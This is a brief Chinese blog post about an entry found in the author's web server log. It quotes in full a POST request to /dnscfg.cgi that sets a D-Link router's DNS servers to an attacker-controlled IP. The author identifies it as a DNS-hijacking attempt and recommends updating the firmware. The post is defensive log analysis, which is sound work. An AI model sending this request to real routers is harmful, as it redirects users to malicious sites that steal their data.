從 Web Log 學習系統漏洞 77

weblog中出現了這段, 這還是第一次看到:

194.26.228.174 - - [30/Aug/2022:21:07:04 +0800] "POST /dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.18&dnsDynamic=0&dnsRefresh=1&dnsIfcsList= HTTP/1.1" 404 534 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 X-Middleton/1"

經估狗之後得知是針對 D-Link 分享器的 DNS劫持攻擊, 當用戶透過受感染(被修改過)的路由器瀏覽網站時, 會將用戶重新導向到惡意網站偷取用戶資料, 解決方式就是更新最新韌體或是換機器

稍微查一下攻擊IP: 194.26.228.174 來自荷蘭

指向的IP: 128.0.104.18 指向烏克蘭